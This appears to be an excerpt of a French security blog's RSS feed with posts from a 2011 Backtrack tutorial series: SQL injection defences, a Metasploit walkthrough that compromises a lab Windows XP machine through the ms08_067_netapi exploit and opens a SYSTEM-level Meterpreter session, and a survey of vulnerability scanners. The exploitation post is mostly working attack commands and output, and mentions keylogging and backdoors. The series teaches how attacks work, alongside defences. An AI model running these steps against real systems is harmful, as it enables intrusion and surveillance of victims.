<p>- Installer un équipement de détection d&#8217;intrusion de type IDS et mettre régulièrement à jour la base de données qui contient les &laquo;&nbsp;exploits&nbsp;&raquo; connus.<br />
- Installer un SGBDR connu, et le mettre à jour très régulièrement. Par exemple, MySQL est très performant, mais nécessite toutefois d&#8217;être mis-à-jour souvent.<br />
- Utiliser au mieux toutes les fonctionnalités des bases de données : pour chaque site par exemple, créer sa base de données, son utilisateur SQL, avec un minimum de droits. Bien entendu, le concept d&#8217;un seul utilisateur avec tous les droits partout est à proscrire !!!<br />
- Utiliser un serveur Web reconnu et le mettre à jour souvent. Apache est très bien reconnu dans le domaine.<br />
- Enfin, il est plus qu&#8217;obligatoire de protéger toutes les variables utilisées.</p>
<p>Exemple : <strong>$id = mysql_real_escape_string($_POST['id']);</strong></p>
<p>Dans ce domaine, voici un <a href="http://php.net/manual/en/security.database.sql-injection.php">lien très intéressant</a>. Si vous n&#8217;y connaissez rien, utiliser un CMS bien reconnu, et mettez-le à jour dès que possible ! (WordPress par exemple)</p>
<p><strong>En résumé : utiliser des outils connus et les mettre à jour régulièrement.</strong></p>
<p>En conclusion, SQL est un langage surpuissant, qui demande beaucoup de connaissances. Négliger la sécurité dans les couches hautes, peut compromettre tout le reste. Imaginer le pire : intrusion sur un serveur web via injection SQL, accès à d&#8217;autres serveurs via une connexion de pont, dump de toutes les bases de données, defacement de sites web&#8230;</p>
<p>Aujourd&#8217;hui, les injections SQL sont les vulnérabilités les plus utilisées sur le Web.<br />
A bon entendeur&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-injections-sql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Exploitation de faille</title>
		<link>http://my1.fr/blog/backtrack-exploitation-de-faille/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-exploitation-de-faille</link>
		<comments>http://my1.fr/blog/backtrack-exploitation-de-faille/#comments</comments>
		<pubDate>Mon, 05 Sep 2011 14:07:11 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=360</guid>
		<description><![CDATA[Nous continuons la série d’articles consacrés à Backtrack. L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système. Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites [...]]]></description>
			<content:encoded><![CDATA[<p>Nous continuons la série d’articles consacrés à Backtrack.</p>
<p>L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système.<br />
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.</p>
<p>Comme il existe beaucoup de types de failles, et énormément de méthodes, je m&#8217;arrêterai sur un cas général, en appliquant une technique &laquo;&nbsp;classique&nbsp;&raquo;.</p>
<p>Après avoir collecté un tas d&#8217;informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d&#8217;exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu&#8217;elle utilise ce service, mais parce que l&#8217;administrateur de la machine n&#8217;a pas pris le temps de mettre à jour régulièrement son système d&#8217;exploitation via Windows Update, ainsi que l&#8217;antivirus</p>
<p>Sachez que les tests réalisés en réseau local ont été effectué avec l&#8217;antivirus Avira Antivir (ainsi qu&#8217;une base de données antivirale de moins d&#8217;un an), sur un Windows XP SP3 sans mises à jour récentes.</p>
<p>Vous serez surpris de voir qu&#8217;il existe énormément d&#8217;ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).</p>
<p>Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).</p>
<p>Sa base de données contient tous les <em>exploits</em> / <em>payloads</em> connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande &laquo;&nbsp;<strong>msfupdate</strong>&laquo;&nbsp;.</p>
<p>Dans un terminal, démarrez l&#8217;outil &laquo;&nbsp;<strong>msfconsole</strong>&laquo;&nbsp;.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36010"><td class="code" id="p360code10"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>root:~<span style="color: #666666; font-style: italic;"># msfconsole</span>
&nbsp;
_
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>      o
_  _  _    _ _<span style="color: #000000; font-weight: bold;">|</span>_  __,   ,    _  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  __    _<span style="color: #000000; font-weight: bold;">|</span>_
<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span> \_<span style="color: #000000; font-weight: bold;">|/</span> \_<span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">/</span>  \_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>
<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>__<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>\_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span> \<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span>\__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">/|</span>
\<span style="color: #000000; font-weight: bold;">|</span>
&nbsp;
=<span style="color: #7a0874; font-weight: bold;">&#91;</span> metasploit v3.7.0-release <span style="color: #7a0874; font-weight: bold;">&#91;</span>core:<span style="color: #000000;">3.7</span> api:<span style="color: #000000;">1.0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">684</span> exploits - <span style="color: #000000;">355</span> auxiliary
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">217</span> payloads - <span style="color: #000000;">27</span> encoders - <span style="color: #000000;">8</span> nops
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l&#8217;importer dans une base de données SQL :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code11'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36011"><td class="code" id="p360code11"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.129
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.132
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus</pre></td></tr></table></div>

<p>MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.</p>
<p>Nous allons lancer une commande qui va automatiquement exploiter l&#8217;un des failles disponibles afin d&#8217;obtenir une session avec la machine distante. Admirez le travail :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code12'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36012"><td class="code" id="p360code12"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_autopwn <span style="color: #660033;">-x</span> <span style="color: #660033;">-e</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms08_067_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms06_040_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>psexec against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">3</span> launched modules to finish execution...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> at <span style="color: #000000;">2011</span>-09-05 09:<span style="color: #000000;">40</span>:<span style="color: #000000;">24</span> <span style="color: #660033;">-0400</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">1</span> launched modules to finish execution...</pre></td></tr></table></div>

<p>0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l&#8217;exploit ms08_067_netapi pour pénétrer le système.<br />
Pour retrouver une session ouverte, il suffit d&#8217;exécuter cette commande :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code13'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36013"><td class="code" id="p360code13"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> sessions <span style="color: #660033;">-l</span>
&nbsp;
Active sessions
===============
&nbsp;
  Id  Type                   Information                           Connection
  <span style="color: #660033;">--</span>  <span style="color: #660033;">----</span>                   <span style="color: #660033;">-----------</span>                           <span style="color: #660033;">----------</span>
  <span style="color: #000000;">1</span>   meterpreter x86<span style="color: #000000; font-weight: bold;">/</span>win32  AUTORITE NT\SYSTEM <span style="color: #000000; font-weight: bold;">@</span> VICTIME-484AF1D  192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span></pre></td></tr></table></div>

<p>Et maintenant ?</p>
<p>Maintenant passons aux vilaines choses.<br />
Pour obtenir le shell d&#8217;une session ouverte, il suffit de l’appeler par son ID :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code14'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36014"><td class="code" id="p360code14"><pre class="bash" style="font-family:monospace;">session <span style="color: #660033;">-i</span> <span style="color: #000000;">1</span></pre></td></tr></table></div>

<p>Ensuite, la commande &laquo;&nbsp;<strong>help</strong>&nbsp;&raquo; vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d&#8217;écran, enregistrer les touches du clavier utilisées et encore plein d&#8217;autres trucs, dont des tâches administratives.</p>
<p>Cependant, un hacker ayant obtenu le shell d&#8217;un système essaye dans la plupart des cas de rester discret.<br />
Dans le prochain article, nous allons voir comment installer un &laquo;&nbsp;backdoor&nbsp;&raquo; afin de pouvoir revenir plus tard sur le système sans exploiter de faille.<br />
Ah oui, j&#8217;oubliais. Backtrack fournit une excellente interface graphique à MSF : &laquo;&nbsp;<strong>Armitage</strong>&laquo;&nbsp;.</p>
<p>Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d&#8217;attaque. Un antivirus à jour, un pare-feu bien configuré, un système d&#8217;exploitation récent et à jour suffiront à éviter ce genre d&#8217;exploitation.</p>
<p>Aujourd&#8217;hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d&#8217;injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-exploitation-de-faille/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Evaluation de vulnérabilité</title>
		<link>http://my1.fr/blog/backtrack-evaluation-de-vulnerabilite/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-evaluation-de-vulnerabilite</link>
		<comments>http://my1.fr/blog/backtrack-evaluation-de-vulnerabilite/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 14:58:17 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=322</guid>
		<description><![CDATA[&#160; Nous continuons la série d&#8217;articles consacrés à Backtrack. Rappelons en quelques mots les objectifs de ces quelques articles. Après avoir testé la distribution pendant quelques semaines, j&#8217;ai jugé sympa de partager quelques ressources. Chaque première partie d&#8217;un article permet de comprendre comment les pirates informatiques font pour pénétrer un système et pour obtenir des [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://my1.fr/blog/wp-content/uploads/2011/08/backtrack-html.001.png"><img class="aligncenter" title="Backtrack" src="http://my1.fr/blog/wp-content/uploads/2011/08/backtrack-html.001-300x225.png" alt="" width="300" height="225" /></a></p>
<p>&nbsp;</p>
<p>Nous continuons la série d&#8217;articles consacrés à Backtrack.</p>
<p>Rappelons en quelques mots les objectifs de ces quelques articles. Après avoir testé la distribution pendant quelques semaines, j&#8217;ai jugé sympa de partager quelques ressources. Chaque première partie d&#8217;un article permet de comprendre comment les pirates informatiques font pour pénétrer un système et pour obtenir des informations précieuses. La deuxième partie quant à elle explique comment éviter ce genre d&#8217;attaque, et donnes quelques indications sur la manière de protéger un réseau et un système.</p>
<p>&nbsp;</p>
<p>Nous avons vu ensemble comment se déroulait la 1ère étape : la <a title="La collecte d'informations" href="http://my1.fr/blog/backtrack-collecte-d-informations/" target="_blank">collecte d&#8217;informations</a>.</p>
<p>Clairement, cette partie nous a fait comprendre comment identifier la cible :</p>
<ul>
<li>Son matériel (si possible)</li>
<li>Son système d&#8217;exploitation (et si possible sa version)</li>
<li>Ses services (si possible avec leur version)</li>
<li>Pour les applications Web : leur langage de programmation</li>
<li>Pour les bases de données : leur système de gestion de base de données</li>
</ul>
<p>Ces informations recueillies ne sont pas perdues, bien au contraire. Nous allons maintenant les passer en revue pour détecter la moindre faille qui pourrait être exploitable par la suite.</p>
<p>&nbsp;</p>
<h2>Les moyens engagés pour détecter les vulnérabilités</h2>
<p>&nbsp;</p>
<ul>
<li><strong>Scanner de vulnérabilité</strong></li>
</ul>
<p style="padding-left: 60px;">- <strong>Nessus</strong> : Nous l&#8217;avions dit dans l&#8217;introduction consacrée à la distribution Backtrack, il est  incontournable dans le monde de la sécurité.</p>
<p style="padding-left: 60px;">Avant toute chose, il est nécessaire d&#8217;obtenir une clé de licence (gratuite). Une fois reçue dans votre boite mail, exécutez la commande suivante :</p>
<pre style="padding-left: 60px;" lang="bash">sudo /opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx
sudo /opt/nessus/bin/nessus-fetch --security-center</pre>
<p style="padding-left: 60px;">Il faut maintenant créer un utilisateur interne au logiciel avec lequel vous vous loguerez pour faire des audits :</p>
<pre style="padding-left: 60px;" lang="bash">sudo /opt/nessus/sbin/nessus-adduser</pre>
<p style="padding-left: 60px;">Une fois configuré, mettez les plugins à jour avec la commande</p>
<pre style="padding-left: 60px;" lang="bash">nessus-update-plugins</pre>
<p style="padding-left: 60px;">Nous pouvons maintenant accéder au logiciel depuis un navigateur web à l&#8217;URL : http://localhost:8834</p>
<p style="padding-left: 60px;">Renseignez le login / mot de passe configuré deux étapes plus haut. Vous avez un menu supérieur qui vous permet de gérer les utilisateurs, les politiques d&#8217;audit, les audits, et les rapports d&#8217;audit.</p>
<p style="padding-left: 60px;">Dans un scénario classique, nous pouvons démarrer un audit directement en utilisant une politique par défaut. Dans mon scénario, nous avions détecté que la victime était un ordinateur disposant du système d&#8217;exploitation Windows XP SP3, ainsi que le partage de fichier activé. Créer un nouveau &laquo;&nbsp;<strong>Scan</strong>&laquo;&nbsp;, puis choisissez une des politiques par défaut (pour mon test, je choisis &laquo;&nbsp;<strong>Internal Network Scan</strong>&laquo;&nbsp;). Je n&#8217;oublie pas de préciser l&#8217;adresse IP de la cible dans &laquo;&nbsp;<strong>Scan Targets</strong>&laquo;&nbsp;. Je clique sur &laquo;&nbsp;<strong>Launch scan</strong>&laquo;&nbsp;, et j&#8217;attends. Pour suivre en temps réel l&#8217;audit, rendez-vous dans le menu &laquo;&nbsp;<strong>Reports</strong>&laquo;&nbsp;. Cliquez deux fois sur le scan en cours, et découvrez les informations récoltées, avec leurs précisions.</p>
<p style="padding-left: 60px;"><a href="http://my1.fr/blog/wp-content/uploads/2011/08/Nessus-results.png"><img class="aligncenter size-medium wp-image-330" title="Nessus-results" src="http://my1.fr/blog/wp-content/uploads/2011/08/Nessus-results-300x98.png" alt="" width="300" height="98" /></a></p>
<p style="padding-left: 60px;">Une fois le test terminé, les failles sont classées par importance. Sachez que si vous trouvez des failles dans la colonne &laquo;&nbsp;<strong>High</strong>&laquo;&nbsp;, il est certain que votre système est hautement vulnérable et facilement accessible depuis l&#8217;extérieur.</p>
<p style="padding-left: 60px;">Dans notre étude de cas, nous avons découvert les vulnérabilités concernant le serveur SMB. Dans le prochain article, nous tenterons d&#8217;exploiter ces failles afin d&#8217;obtenir un shell sur l&#8217;ordinateur cible. En attendant, n&#8217;oubliez pas que ces informations sont précieuses et qu&#8217;il faut absolument les sauvegarder. Cliquez sur &laquo;&nbsp;<strong>Download Report</strong>&nbsp;&raquo; en bas à gauche. Choisissez le format par défaut et placer votre fichier en lieu sûr (dans <a title="Dradis" href="http://dradisframework.org/" target="_blank">Dradis</a> par exemple).</p>
<p style="padding-left: 60px;">Nous l&#8217;avons vu, Nessus est rapide et efficace. Il est important de mettre à jour régulièrement les plugins pour trouver les failles les plus récentes. Il est capable de nous donner énormément d&#8217;informations concernant la configuration d&#8217;un service distant. Nous le verrons un peu plus loin, c&#8217;est l&#8217;outil indispensable pour auditer soi-même nos propres systèmes.</p>
<p>&nbsp;</p>
<p style="padding-left: 60px;">- <strong>Mantra</strong> : Navigateur Web basé sur Firefox contenant un large panel de plugins utiles pour l’audit d&#8217;applications Web. En quelques clics, explorer les failles XSS, ou tentez des iSQL directement sur des pages Web. Les XSS sont relativement fréquentes sur Internet, surtout dans les formulaires où les développeurs Web ne prennent pas toujours le temps de sécuriser leur production.</p>
<ul>
<li><strong>Évaluation du réseau</strong></li>
</ul>
<p>Nous avons vu deux outils généralistes pour scanner un réseau ou une application web. Voyons maintenant quelques outils plus spécialisés.</p>
<p>&nbsp;</p>
<p style="padding-left: 60px;">- <strong>Cisco Tools</strong> : Contient des scripts pour auditer des équipement actifs de marque Cisco. Certains outils sont capables de détecter la version de l&#8217;IOS d&#8217;un équipement distant, et donc de connaître ses vulnérabilités.</p>
<p style="padding-left: 60px;">- <strong>Network Fuzzing</strong> : Injecte des données aléatoire sur un réseau. &laquo;&nbsp;<strong>Bed</strong>&nbsp;&raquo; est un outil puissant qui permet de détecter si un service peut être victime de Buffer Overflow (dépassement de mémoire tampon). Le logiciel &laquo;&nbsp;<strong>sfuzzer</strong>&nbsp;&raquo; est également un outil qui permet de tester un  logiciel.</p>
<p style="padding-left: 60px;">-<strong> Rapports de vulnérabilité en ligne</strong> : Consultez <a href="http://osvdb.org/" target="_blank">OSVDB</a> et <a href="http://cve.mitre.org" target="_blank">CVE</a> pour connaître les dernières failles en date.</p>
<p style="padding-left: 60px;">-<strong> VOIP Fuzzing</strong> : Détecter les failles d&#8217;un réseaux VOIP avec la technique de fuzzing avec le logiciel &laquo;&nbsp;<strong>voiper</strong>&nbsp;&raquo; par exemple.</p>
<p>&nbsp;</p>
<ul>
<li><strong>Évaluation d&#8217;applications Web</strong></li>
</ul>
<p>Les réseaux ne sont pas les seuls vulnérables. Plus haut dans les couches du modèle OSI, les applications Web peuvent être une véritable porte d&#8217;entrée vers un système ou vers des informations compromettantes.</p>
<p>&nbsp;</p>
<p style="padding-left: 60px;">- Outils dédiés aux CMS : &laquo;&nbsp;<strong>Joomscan</strong>&nbsp;&raquo; est tout simplement l&#8217;outil de référence qui permet de détecter des failles dans un site web fait avec le CMS Joomla. L&#8217;outil est assez puissant, mais la mise à jour du logiciel ne fonctionne pas (la base de données des failles étant de 2009). &laquo;&nbsp;<strong>Plecost</strong>&nbsp;&raquo; est quant à lui dédié au CMS WordPress. Pensez à récupérer la <a href="http://code.google.com/p/plecost/source/browse/trunk/wp_plugin_list.txt?r=2" target="_blank">dernière version </a>du fichier texte qui contient les numéros de version des plugins WordPress.</p>
<p style="padding-left: 60px;">- <strong>Webshag</strong> est un webfuzzer très simple d&#8217;utilisation, car il est disponible en interface graphique. L&#8217;outil <strong>Webslayer</strong> est également très puissant. Ces deux logiciels retenus permettent d’interroger violemment une page web afin d&#8217;en ressortir un maximum d&#8217;informations (nom des variables, e-mails, méthodes des formulaires, etc.)</p>
<p style="padding-left: 60px;">- <strong>MetaGooFil</strong> est un script très pratique pour rechercher rapidement tous les fichiers disponibles triés par extensions  (exemple tous les PDF) sur un site web. Il n&#8217;est pas rare de trouver des fichiers texte contenant directement des adresses e-mail ou des mot de passe en clair. Le principal atout de ce logiciel est bien entendu l&#8217;extraction de méta-données. En effets, elle peuvent contenir les noms et prénoms des auteurs des fichiers, leurs logiciels et leurs versions, etc. Une mine d&#8217;or pour recueillir des informations sur la victime.</p>
<p style="padding-left: 60px;">- <strong>W3af</strong> est l&#8217;outil Open-Source de référence pour auditer un site Web. Plusieurs plugins sont disponibles : bruteforce, audit, etc. Le résultat du scan nous indique les vulnérabilités présentes sur le site en question. J&#8217;ai trouvé ce <a href="http://www.aldeid.com/wiki/W3AF" target="_blank">site</a> qui est un Wiki de W3af (et qui regorge d&#8217;informations essentielles).</p>
<p>&nbsp;</p>
<ul>
<li><strong> Évaluation de bases de données</strong></li>
</ul>
<p>Les outils d&#8217;évaluation de vulnérabilités de base de données sont les mêmes que ceux pour la collecte d&#8217;information :</p>
<p style="padding-left: 30px;">- <strong>SQLmap</strong> et <strong>SQLninja</strong> : outils d&#8217;injection SQL</p>
<p style="padding-left: 30px;">- <strong>SQLbrute</strong> : outil d&#8217;injection SQL en bruteforce.</p>
<p>Nous étudierons plus en détail ces outils dans l&#8217;exploitation de failles (prochain article).</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>Les moyens pour lutter contre la détection de vulnérabilités.</h2>
<p>&nbsp;</p>
<p>Je pense que ce sont les mêmes que pour la <a title="La collecte d'informations" href="http://my1.fr/blog/backtrack-collecte-d-informations/" target="_blank"><strong>collecte d&#8217;information</strong></a>.</p>
<p>En effet, la détection de vulnérabilités est également une action de recherche d&#8217;informations, mais plus orientée dans la découverte des versions utilisées, ou dans les méthodes appliquées de développement.</p>
<p>&nbsp;</p>
